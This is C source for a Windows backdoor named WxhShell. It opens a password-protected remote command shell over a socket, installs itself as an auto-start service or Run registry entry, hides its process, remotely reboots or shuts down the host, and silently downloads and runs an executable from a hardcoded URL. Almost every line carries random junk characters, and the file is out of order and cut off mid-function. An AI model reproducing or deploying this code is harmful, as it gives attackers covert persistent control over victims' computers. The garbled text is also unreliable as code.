    } /vFxVBX  
  // 关机 $O;N/N:m  
  case 'd': { T%M1[<"Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (mD-FR@#  
    if(Boot(SHUTDOWN)) /\IAr,w[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r[C3u[  
    else { D#vn {^c8O  
    closesocket(wsh); {hW +^  
    ExitThread(0); ~9`^72  
    } r6gt9u:  
    break; @m !9"QhC  
    } .y/NudD  
  // 获取shell SX1Fyy6 w  
  case 's': { T! &[  
    CmdShell(wsh); rahHJp.Ws  
    closesocket(wsh); .{'Uvn  
    ExitThread(0); Im0+`9Jw  
    break; a'*5PaXU@/  
  } sRo<4U0M;l  
  // 退出 )A>U<n$h  
  case 'x': { Zi[{\7a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;-Y]X(z>  
    CloseIt(wsh); mh!N^[=n  
    break; g:~?U*f-  
    } ?~]1Gd  
  // 离开 .N-'; %8  
  case 'q': { nzQYn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u8{@PlS  
    closesocket(wsh); `Yo -5h  
    WSACleanup(); !Vp,YN+yN  
    exit(1); ^C,/T2>  
    break; [0**&.obz  
        } H3UX{|[  
  } n)1  
  } <{-(\>f!9  
cpr{b8Xb8&  
  // 提示信息 *_"c! eW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nj3^"}V  
} s)o ,Fi  
  } k#IS ,NKE  
ZF/J/;uI  
  return; WIH4Aw  
} fY,@2VxyfA  
MQbNWUi  
// shell模块句柄 ..Uw8u/  
int CmdShell(SOCKET sock) 2]_4&mU  
{ pjmGzK  
STARTUPINFO si; }LHT#{+ x  
ZeroMemory(&si,sizeof(si)); x|,aV=$o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `ykMh>*{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C-:SQf  
PROCESS_INFORMATION ProcessInfo; 1O'*X  
char cmdline[]="cmd"; *$4A|EA V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k_En_\c?p2  
  return 0; ga 2Q3mV  
} ()3x%3   
&"r==A?  
// 自身启动模式 j-C42Pfr  
int StartFromService(void) ]`/R("l[  
{ 'WM~ bm+N  
typedef struct Z@c0(ol  
{ {g:/ BFLr#  
  DWORD ExitStatus; K,L>  
  DWORD PebBaseAddress; !e#I4,fn  
  DWORD AffinityMask; *k@0:a(>  
  DWORD BasePriority; 0]2B-o"kI  
  ULONG UniqueProcessId; HhY2`P8  
  ULONG InheritedFromUniqueProcessId; ;f ;*Q>!  
}   PROCESS_BASIC_INFORMATION; p.TiTFu/  
yTq(x4]  
PROCNTQSIP NtQueryInformationProcess; kj<D4)  
iEJQ#5))0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \{+nXn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^*?B)D=,  
wE8a4.  
  HANDLE             hProcess; /F8\%l+  
  PROCESS_BASIC_INFORMATION pbi; xJF6l!`  
W:+2We@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oX:1 qJrC  
  if(NULL == hInst ) return 0; [WO%rO^p  
MRVz:g\mi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )o'U0rAx|a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &"H<+>`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4-}A'fTU8  
@L>NN>?SGQ  
  if (!NtQueryInformationProcess) return 0; >gOI]*!5  
!+|N<`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C$..w80/1  
  if(!hProcess) return 0; (61twutC  
K+\0}qn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~a8G 5M  
5S-o 2a  
  CloseHandle(hProcess); YL&b9e4  
1UA~J|&gi^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  /nD0hb  
if(hProcess==NULL) return 0; M5ySs\O4  
lA Ck$E  
HMODULE hMod; x}8T[  
char procName[255]; h7W%}6Cqkw  
unsigned long cbNeeded; f'i8Mm4IL  
=Q=&Ucf_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); g%q?2Nv  
Qdx`c^4m  
  CloseHandle(hProcess); X5oW[  
X^_+%U  
if(strstr(procName,"services")) return 1; // 以服务启动 xO9]yULgu  
e=F( Zf+1^  
  return 0; // 注册表启动 9snyX7/!L  
} '__3[D  
ZNH*[[Pf  
// 主模块 GT\s!D;<  
int StartWxhshell(LPSTR lpCmdLine) { d2f)ra.  
{ |>o0d~s  
  SOCKET wsl; 6L6~IXL>  
BOOL val=TRUE; -JQg ~1  
  int port=0; }A'<?d8   
  struct sockaddr_in door; ,w/mk$v  
n XeK,C  
  if(wscfg.ws_autoins) Install(); gq:TUvX  
i>if93mpj  
port=atoi(lpCmdLine); I.\f0I'.  
2}#wd J`  
if(port<=0) port=wscfg.ws_port; feq6!k7  
)Fr;'JYC1S  
  WSADATA data; pv?17(w(\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +_XbHjhN/  
V8U`%/`N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A*;^F]~'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g;Sg 2  
  door.sin_family = AF_INET; )6R#k8'ERr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !9<RWNKV)Y  
  door.sin_port = htons(port); =!P?/  
Iv|WeSL.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "KI,3g _V  
closesocket(wsl); 5@Lxbe( q  
return 1; 0) Um W{  
} VU0tyj$  
.]ZuG  
  if(listen(wsl,2) == INVALID_SOCKET) { lbuW*)  
closesocket(wsl); =UKR<@QrK  
return 1; .gkPG'm[  
} AoOG[to7  
  Wxhshell(wsl); SnF[mN'  
  WSACleanup(); _Il9s#NA%  
6r-n6#=  
return 0; 3w:Z4]J  
jUR #  
} Z2j*%/  
xjbyI_D  
// 以NT服务方式启动 llG#nDe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g Wv+i/,  
{ [QqNsco)  
DWORD   status = 0; Q]g4gj  
  DWORD   specificError = 0xfffffff; ^Er`{|o6u  
oY6|h3T=Q$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NUnc"@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @)'@LF1Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F)iG D~  
  serviceStatus.dwWin32ExitCode     = 0;  nIDsCu=A  
  serviceStatus.dwServiceSpecificExitCode = 0; >/`c mNmb  
  serviceStatus.dwCheckPoint       = 0; bq&S?! =s  
  serviceStatus.dwWaitHint       = 0; N[bf.5T  
<w2NJ ~M^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6.7 Kp  
  if (hServiceStatusHandle==0) return; |{LaZXU&  
Y&!]I84]  
status = GetLastError(); 898wZ{9  
  if (status!=NO_ERROR) 9-iB?a7{.  
{ j}.J$RtW1f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `8.32@rUB.  
    serviceStatus.dwCheckPoint       = 0; 42LXL*-4  
    serviceStatus.dwWaitHint       = 0; j.N\U#3KK  
    serviceStatus.dwWin32ExitCode     = status; 8*PAgPj a  
    serviceStatus.dwServiceSpecificExitCode = specificError; wfTv<WG,.E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?uX6X'-  
    return; U9[A(  
  } ec[[OIO  
/\$|D&e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KeHE\Fq^V  
  serviceStatus.dwCheckPoint       = 0; SF7b1jr  
  serviceStatus.dwWaitHint       = 0; g2>u]3&W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wJR i;fvi  
} H1j6.i}q  
vG_v89t!ex  
// 处理NT服务事件,比如:启动、停止 0t[mhmSU,  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  2:/MN2  
{ }_/h~D9-T#  
switch(fdwControl) &c9Fw:f;  
{ !=:MG#p  
case SERVICE_CONTROL_STOP: <H@!Xw;  
  serviceStatus.dwWin32ExitCode = 0; E1ob+h:`d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $,zM99  
  serviceStatus.dwCheckPoint   = 0; O8N0]Mz  
  serviceStatus.dwWaitHint     = 0; -xgmc-LGo  
  { h:;eh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kCjI`=7$[  
  } Hg_ XD,  
  return; gH// TbS  
case SERVICE_CONTROL_PAUSE: )hJjVitG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =LY^3TlDj  
  break; }J'w z;t1  
case SERVICE_CONTROL_CONTINUE: y* Q-4_%,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m1o65FsY08  
  break; ?[/,*Q%  
case SERVICE_CONTROL_INTERROGATE: ];~[Olc  
  break; (0m$W<  
}; 2LH;d`H[0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e.ym7L]$O  
} Wy>\KrA1  
E/P53CD  
// 标准应用程序主函数 zp-~'kIJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U105u.#7  
{ u,SZ-2K!7~  
il%tu<E#J~  
// 获取操作系统版本 RW[<e   
OsIsNt=GetOsVer(); x2c*k$<p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A?k,}~  
'wlP`7&Tn  
  // 从命令行安装 7.rZ%1N  
  if(strpbrk(lpCmdLine,"iI")) Install(); &0Zk3D4  
^K8a#-  
  // 下载执行文件 |8{iIvi/  
if(wscfg.ws_downexe) { FH(+7Lz4;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p)&\>   
  WinExec(wscfg.ws_filenam,SW_HIDE); l"y9XO|  
} = d.W'q|  
A2_3zrE  
if(!OsIsNt) { %_O>Hy|p  
// 如果时win9x,隐藏进程并且设置为注册表启动 <G?85*Nv_  
HideProc(); 6-}e-H  
StartWxhshell(lpCmdLine); }4]x"DfIg  
} 'wV26Dm  
else ?'m5)Z{  
  if(StartFromService()) x)Kh _G  
  // 以服务方式启动 ~cj:AIF  
  StartServiceCtrlDispatcher(DispatchTable); ~0GX~{;r  
else @_ ZW P  
  // 普通方式启动 Xtnmh)'K~#  
  StartWxhshell(lpCmdLine); 'z!#E!i  
f|1FqL+T]  
return 0; <f{`}drp/  
} Cy'W!qH  
<%uZwk>#  
rWKLxK4oU  
k\Tm?^L)  
=========================================== `9{C/qB  
sc>)X{eb  
u`,R0=<4  
A_U0HVx_  
N ] /d  
3"D00~  
" vg1s5Y qk  
_!1c.[ \T  
#include <stdio.h> y+R$pzX  
#include <string.h> #N}}8RL  
#include <windows.h> sswAI|6ou  
#include <winsock2.h> 5g7}A`  
#include <winsvc.h> 2DdLqZY#  
#include <urlmon.h> Cms"OkN  
8^i,M^f^{  
#pragma comment (lib, "Ws2_32.lib") S9055`v5  
#pragma comment (lib, "urlmon.lib") 5j5t?G;d,  
^q r[?ky]&  
#define MAX_USER   100 // 最大客户端连接数 tO3B_zC  
#define BUF_SOCK   200 // sock buffer "z4E|s  
#define KEY_BUFF   255 // 输入 buffer yE{UV>ry  
UpBYL?+L  
#define REBOOT     0   // 重启 RVy87_J1  
#define SHUTDOWN   1   // 关机 >&Lu0oHH  
iPNs EQ0We  
#define DEF_PORT   5000 // 监听端口 gipRVd*TA  
SYLkC [0 k  
#define REG_LEN     16   // 注册表键长度 w*@Z-'(j  
#define SVC_LEN     80   // NT服务名长度 Z9bPj8d  
S]@iS[|?  
// 从dll定义API .sMi"gg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~h|L;E"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B%;+8]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Yr0i9Qow  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P"<ad kr  
H8k| >4  
// wxhshell配置信息 .W:], 5e  
struct WSCFG { cu|q &  
  int ws_port;         // 监听端口 'Q,<_ L"  
  char ws_passstr[REG_LEN]; // 口令 8Wp1L0$B  
  int ws_autoins;       // 安装标记, 1=yes 0=no CMUphS-KE  
  char ws_regname[REG_LEN]; // 注册表键名 `&JA7UD>  
  char ws_svcname[REG_LEN]; // 服务名 Py<vN!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <-7Ha_#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x9s`H)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 13 p0w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xF0*q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =J\7(0Dz4t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mt0|`=64  
v>l?d27R  
}; \?}.+v  
mt7:`-  
// default Wxhshell configuration :7*\|2zA  
struct WSCFG wscfg={DEF_PORT, BtZm_SeA  
    "xuhuanlingzhe", 'iK*#b8l  
    1, JDlIf  
    "Wxhshell", "$9ZkADO  
    "Wxhshell", {.W%m  
            "WxhShell Service", N?:S?p9R@  
    "Wrsky Windows CmdShell Service", $% t  
    "Please Input Your Password: ", ] UTP~2N  
  1, /m:}rD  
  "http://www.wrsky.com/wxhshell.exe", 8yl /!O,v  
  "Wxhshell.exe" tJ3s#q6  
    }; 2Z |kf9  
|3@]5f&  
// 消息定义模块 'KG`{K$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B9\o:eY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $R4\jIew V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,pepr9Yd  
char *msg_ws_ext="\n\rExit."; 4f5$^uN$qA  
char *msg_ws_end="\n\rQuit."; t trp| (  
char *msg_ws_boot="\n\rReboot..."; hG)lVo!L4j  
char *msg_ws_poff="\n\rShutdown..."; O[5ti=W  
char *msg_ws_down="\n\rSave to "; @^@-A\7[KO  
p%'((!a2  
char *msg_ws_err="\n\rErr!"; cd#TKmh7re  
char *msg_ws_ok="\n\rOK!"; qI:wm=  
:#;?dMkTY  
char ExeFile[MAX_PATH]; 6 h):o  
int nUser = 0; iqYc&}k,  
HANDLE handles[MAX_USER]; Dr609(zg^  
int OsIsNt; f}4h}Cq  
hG]20n2  
SERVICE_STATUS       serviceStatus; E}+A)7mA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :=@[FXD4  
FT6cOMu  
// 函数声明 LA5rr}<K  
int Install(void); CJ b ~~  
int Uninstall(void); 8%B @[YDe  
int DownloadFile(char *sURL, SOCKET wsh); t~`Ef  
int Boot(int flag); ( d.i np(  
void HideProc(void); >6j`ZWab>  
int GetOsVer(void); zQJbZ=5Bu"  
int Wxhshell(SOCKET wsl); b%F*Nr  
void TalkWithClient(void *cs); x&wUPo{  
int CmdShell(SOCKET sock); !bg3  
int StartFromService(void); glpdYg *  
int StartWxhshell(LPSTR lpCmdLine); #.RI9B  
AF}HS8eYy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~x+w@4)a>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HN! l-z  
~ln,Cm} 4  
// 数据结构和表定义 ebchHnOd  
SERVICE_TABLE_ENTRY DispatchTable[] = ,58[WZG  
{ ^C{a'  
{wscfg.ws_svcname, NTServiceMain}, ~qF9*{~!  
{NULL, NULL} f#jAjzmYL  
}; zb(u?U  
+TX]~k79Oq  
// 自我安装 =&'j;j  
int Install(void) WUWQcJj  
{ FtXEudk  
  char svExeFile[MAX_PATH]; }e$);A|  
  HKEY key; V RL6F2 >6  
  strcpy(svExeFile,ExeFile); O<*iDd`(e  
(;h\)B!o  
// 如果是win9x系统,修改注册表设为自启动 <LE>WfmC  
if(!OsIsNt) { =9M-N?cV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QX4I+x~oo\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f$L5=V  
  RegCloseKey(key); sAxn ; `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LO229`ARr|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FoLw S%+yO  
  RegCloseKey(key); JkmL'Zk>:  
  return 0; 6Jm4?ex  
    } :?TV6M  
  } h) rHf3:  
} E^!%m8--  
else { M;OYh  
In r%4&!e  
// 如果是NT以上系统,安装为系统服务 -T>`PJpJuL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z.<B>MD8^  
if (schSCManager!=0) MX34qJ9k  
{ H>B:jJf  
  SC_HANDLE schService = CreateService sXUM,h8$!+  
  ( f &H` h  
  schSCManager, G7yxCU(I\  
  wscfg.ws_svcname, L2N/DB'{  
  wscfg.ws_svcdisp, TBpW/wz/  
  SERVICE_ALL_ACCESS, S}+n\pyQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LX8vVj8K  
  SERVICE_AUTO_START, g8C+j6uR0  
  SERVICE_ERROR_NORMAL, 0|cQx VJb  
  svExeFile, ``={FaV~m  
  NULL, t|/ /oEY  
  NULL, ~b+>o  
  NULL, _%x|,vo`(  
  NULL, {5*5tCIt  
  NULL n\QG-?%Pi  
  ); CA3.fu3(p  
  if (schService!=0) )wC>Hq[mhW  
  { 3,GSBiK3}  
  CloseServiceHandle(schService); 3k=q>~& @  
  CloseServiceHandle(schSCManager); X*b0qJ Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p|Ln;aYc  
  strcat(svExeFile,wscfg.ws_svcname); &EMm<(.]a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sU>*S$X8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); </eh^<_~  
  RegCloseKey(key); Z?~7#F~Z`  
  return 0; C][`Dk\D{  
    } CyE.q^Wm  
  } r6A7}v  
  CloseServiceHandle(schSCManager); UuN(+&oD-  
} umi#Se3&  
} J[9jNCq|  
OAv/P|n=  
return 1; Qt k'^Fc  
} L%"&_v#a^  
?p5Eo{B  
// 自我卸载 2oN lQiE_  
int Uninstall(void) Yd@9P 2C  
{ i"-j:b:c<  
  HKEY key; -Iq#h)Q*  
twJck~l~n  
if(!OsIsNt) { Ys\l[$_`*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { } nQHP4'  
  RegDeleteValue(key,wscfg.ws_regname); %K zURv  
  RegCloseKey(key); 5~qr+la  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `/"z.~8  
  RegDeleteValue(key,wscfg.ws_regname); $T1c{T6n}  
  RegCloseKey(key); #pf}q+A  
  return 0; hM;EUWv  
  } 0j3j/={|.1  
} 7JujU.&{6  
} /q]WV^H  
else { f6DPah#  
ioZ2J"s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1 @/+ c  
if (schSCManager!=0) bo]k9FC  
{ LnBkd:>}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4kx#=MLt  
  if (schService!=0) 1j}o. 0\  
  { (A1!)c  
  if(DeleteService(schService)!=0) { }ts?ZR^V,  
  CloseServiceHandle(schService); 7UMsKE-  
  CloseServiceHandle(schSCManager); iJ~p X\FKO  
  return 0; GU=h2LSi]  
  } 1aSuRa  
  CloseServiceHandle(schService); ~Su>^T(?-  
  } $BG9<:p  
  CloseServiceHandle(schSCManager); p t<84CP  
} g|W~0A@D  
} r8@:Ko= a  
{D7!'Rq,  
return 1; E;%{hAD{  
} 0O[q6!&]  
#u#s'W  
// 从指定url下载文件 ,"DkMK4%  
int DownloadFile(char *sURL, SOCKET wsh) ZV&=B%J bs  
{ %!WQ;(  
  HRESULT hr; @~zhAU!  
char seps[]= "/"; }UX>O  
char *token; JBuorc  
char *file; 1,4kw~tA  
char myURL[MAX_PATH]; ,"&vhgYU  
char myFILE[MAX_PATH]; ] Qj65]  
~fr1O`8  
strcpy(myURL,sURL); "ibKi=  
  token=strtok(myURL,seps); R_/T bz  
  while(token!=NULL) +W-sb5)  
  { Q7i^VN  
    file=token; !DLIIKO78  
  token=strtok(NULL,seps); -O oXb( I4  
  } $+$+;1[  
sjztT<{Q^-  
GetCurrentDirectory(MAX_PATH,myFILE); t@b';Cuv  
strcat(myFILE, "\\"); ='>k|s:  
strcat(myFILE, file); ,~c:P>v=  
  send(wsh,myFILE,strlen(myFILE),0); ytHa[U  
send(wsh,"...",3,0); az7L0pp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F7a\Luae  
  if(hr==S_OK) W)o-aX!P  
return 0; )0!hw|0|  
else _bFX(~37z?  
return 1; S__+S7]Nr  
^-rb&kW@:  
} <.~j:GbsE  
%WdAI,  
// 系统电源模块 ar R)]gk 7  
int Boot(int flag) RfFeAg,]/  
{ r*y4Vx7  
  HANDLE hToken; 'Ko T8g\b  
  TOKEN_PRIVILEGES tkp; 2#ypM9  
aZ- )w  
  if(OsIsNt) { zPZy#7/A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?2QssfB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J/WPffqD  
    tkp.PrivilegeCount = 1; jg' 'T1)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0lY.z$V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b1E>LrL  
if(flag==REBOOT) { 9tqX77UK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fk;39$[  
  return 0; @>&UoH}2  
} d8e6}C2v  
else { KTd4pW?w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))   /zM  
  return 0; nTp?  
} `G6Nk@9.  
  } e*=N\$  
  else { 7hY~  
if(flag==REBOOT) { e&#qj^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `TBau:ElI  
  return 0; LQ373 j-  
} ~O&3OL:L  
else { Cz8=G;\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^DM^HSm  
  return 0; #|xK> ;  
} nu|;(ly  
} %Gh!h4Pv  
ut fD$8UI  
return 1; H~Hh $-z  
} u6$fF=  
>@` D@_v  
// win9x进程隐藏模块 ]t(;bD hT  
void HideProc(void) `pOiv&>  
{ =;`+^  
zH eqV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z<;am  
  if ( hKernel != NULL ) _/]4:("  
  { ~;9B\fE`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); < Pg4>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #'_i6  
    FreeLibrary(hKernel); R=_ fk  
  } R6ca;  
~f;d3dJ]/  
return; 58ev (f  
} "O!J6  
3 T+#d-\  
// 获取操作系统版本 "at*G>+  
int GetOsVer(void) %n SLe~b  
{ S{XV{o  
  OSVERSIONINFO winfo; LhUrVydL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @Q 8E)k@  
  GetVersionEx(&winfo); .q"`)PT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %lF}!  
  return 1; *$0u A N  
  else C{H:-"\J9  
  return 0; y_;LTCj?  
} _ )b:F=4j  
4en[!*  
// 客户端句柄模块 ]hJ#%1  
int Wxhshell(SOCKET wsl) NnRR"'  
{ i?.MD+f8  
  SOCKET wsh; h%|Jkx!v-t  
  struct sockaddr_in client; -U`]/  
  DWORD myID; >j%HVRW  
j,?>Q4G  
  while(nUser<MAX_USER) TO ^}z  
{ o4^rE<vJ  
  int nSize=sizeof(client); %3M1zZY  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); URz$hcI8  
  if(wsh==INVALID_SOCKET) return 1; 8vjaQ5  
D~P I_*h.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fo;Ftf0  
if(handles[nUser]==0) no~hYy W2  
  closesocket(wsh); 5|._K(M  
else f5.rzrU  
  nUser++; XT~!dq5  
  } @doo2qqIe]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <x e=G]v  
6nRXRO  
  return 0; j-e/nZR@  
} K; ,2ag  
:FcYjw  
// 关闭 socket |]kcgLqj  
void CloseIt(SOCKET wsh) n&DRh.@  
{ v!{mpF  
closesocket(wsh); ?fr -5&,  
nUser--; bKRz=$P?  
ExitThread(0); 65X$k]x  
} jODx&dVr  
tXDO@YH3S  
// 客户端请求句柄 T1sb6CT  
void TalkWithClient(void *cs) zkHwoAD;t8  
{ +nU"P  
J{<,V\t)  
  SOCKET wsh=(SOCKET)cs; ;<i`6e  
  char pwd[SVC_LEN]; c'ExZ)RJ  
  char cmd[KEY_BUFF]; )GhMM  
char chr[1]; )L fXb9}  
int i,j; f_y+B]?'M  
G9"2h \  
  while (nUser < MAX_USER) { x;w&JS1 V  
*8y kE  
if(wscfg.ws_passstr) { X2^`Znq9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ig(dGKD\=9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /G[; kR"  
  //ZeroMemory(pwd,KEY_BUFF); j5QS/3  
      i=0; RR R'azT  
  while(i<SVC_LEN) { O%?noW  
%<8@NbF  
  // 设置超时 }g6:9%ZMu  
  fd_set FdRead; A& u"NgJ  
  struct timeval TimeOut; CvDy;'{y1  
  FD_ZERO(&FdRead); `3GC}u>}  
  FD_SET(wsh,&FdRead); ~`-z"zM:p  
  TimeOut.tv_sec=8; g|L" |Q  
  TimeOut.tv_usec=0; J}a 8N.S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 46^LPC"x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "_dh6naZX  
OJ0Dw*K<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KFd !wZ @e  
  pwd=chr[0]; 7[aSP5e>T  
  if(chr[0]==0xd || chr[0]==0xa) { k=L(C^VP  
  pwd=0; :y#KR\T1  
  break; <7Igd6u  
  } agdiJ-lyQ  
  i++; "uK`!{  
    } N]qX^RSb  
$42%H#  
  // 如果是非法用户,关闭 socket CtItzp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /4w"akB|P  
} a:nMW'!  
3N%%69JN)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NgH"jg-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *p )1c_  
p<%76H A  
while(1) { <~ E'% 60;  
m E<n=g=  
  ZeroMemory(cmd,KEY_BUFF); m<]b]FQ  
^}nz^+R  
      // 自动支持客户端 telnet标准   ra#s!m1  
  j=0; %heX06  
  while(j<KEY_BUFF) { [;O 6)W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ji %6/zV  
  cmd[j]=chr[0]; 'uAH, .B  
  if(chr[0]==0xa || chr[0]==0xd) { i&KD)&9b#  
  cmd[j]=0; GMD>Ih.k:9  
  break; NKae~ 1b  
  } dfkmIO%9X  
  j++; &}sC8,Sr  
    } w s(9@  
@mM])V  
  // 下载文件 OFS` ?>  
  if(strstr(cmd,"http://")) { |%6zhkoufM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h ]'VAt  
  if(DownloadFile(cmd,wsh)) CH h]v.V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\p@1N?K  
  else doJ\7c5uU  
